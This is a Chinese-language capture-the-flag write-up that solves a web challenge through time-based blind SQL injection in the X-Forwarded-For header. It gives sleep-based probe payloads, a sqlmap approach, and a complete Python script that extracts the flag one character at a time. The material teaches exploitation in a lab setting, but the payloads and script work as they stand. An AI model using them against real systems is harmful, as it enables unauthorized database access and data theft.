题目描述:我要把攻击我的人都记录db中去!
打开题目发现:
很容易想到是ip注入,试了x-forwarded-for:1.1.1.1,成功执行
开始尝试延迟注入,发现返回页面相比没加sleep之前慢了很多,确实存在时间注入(sleep中的参数10是可控的,太小了不容易看出差异)
x-forwarded-for:1.1.1.1' and sleep(10) and '
然后提供两种方法:
1、sqlmap直接抓包跑,具体步骤如下:
(1)抓包,将包中内容保存到文件中,这里我保存在sqlmap的文件夹下,文件名为2.txt
(2)使用命令跑数据库,跑表,跑字段,跑内容
不过由于sqlmap跑的话时间会比较长,因为这是基于时间的注入,sqlmap的详细用法我就不在这里介绍了,想要了解参照:https://blog.csdn.net/weixin_43784056/article/details/88345465
2、手工注入
x-forwarded-for:1.1.1.1' and case when(length((select database()))<5) then sleep(10) else sleep(0) end and'
x-forwarded-for:1.1.1.1' and case when(length((select database()))<4) then sleep(10) else sleep(0) end and'
执行第一句时延迟,执行第二句是没有延迟,说明数据库的长度为4位
然后利用substring函数截取每一位进行盲注(这里不能使用substr,因为逗号被过滤了)
我这里直接给出最后得到flag的脚本,中间的数据库和表名只要修改下面脚本的一点点就可以一点一点跑出来,字段长度可以根据上面的语句测试出来。
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""
for i in range(1,33):
for str in guess:
headers={"x-forwarded-for":"xx'+"+"(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1" %(i,str)}
try:
res=requests.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout, e:
flag = flag + str
print "flag:", flag
break
print 'result:' + flag
具体修改条件:
1.具体的字段条件: select case when(【条件】) from 第几个字符 for 1)=内容) then sleep(10) else sleep(0) end
2.长度条件:length((select database()))<长度